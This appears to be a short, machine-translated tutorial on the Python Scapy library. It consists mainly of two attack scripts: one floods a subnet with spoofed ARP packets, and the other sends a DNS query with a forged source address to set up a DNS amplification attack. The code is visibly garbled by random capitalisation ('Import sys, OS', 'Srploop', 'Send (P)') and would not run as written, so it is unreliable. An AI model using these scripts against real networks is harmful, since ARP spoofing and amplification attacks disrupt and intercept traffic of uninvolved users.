Scapy is a powerful, interactive packet handler written by Python that can be used to send, sniff, parse, and spoof network packets, often used in cyber attacks and tests.
This is done directly with Python's scapy.
Here is the ARP attack mode, you can make ARP attack.
Copy the Code code as follows:
#!/usr/bin/python
"""
ARP attack
"""
Import sys, OS
From Scapy.all Import *
If Os.geteuid ()! = 0:
Print "This program must is run as root. Aborting. "
Sys.exit ()
If Len (SYS.ARGV) < 2:
Print "Pkease use%s x.x.x"% (Sys.argv[0])
Exit ()
Attackip = sys.argv[1] + ". 0/24"
Srploop (Ether (dst= "FF:FF:FF:FF:FF:FF")/arp (Pdst=attackip, psrc= "192.168.1.100", hwsrc= "00:66:66:66:66:66"), timeout=2)
DNS Amplification attack
Copy the Code code as follows:
#coding: Utf-8
From scapy Import *
From Scapy.all Import *
A = IP (dst= ' 8.8.8.8 ', src= ' 192.168.1.200 ') #192.168.1.200 for forged source IP
b = UDP (dport=53)
c = DNS (id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)
C.QD=DNSQR (qname= ' www.qq.com ', Qtype=1,qclass=1)
p = a/b/c
Send (P)
~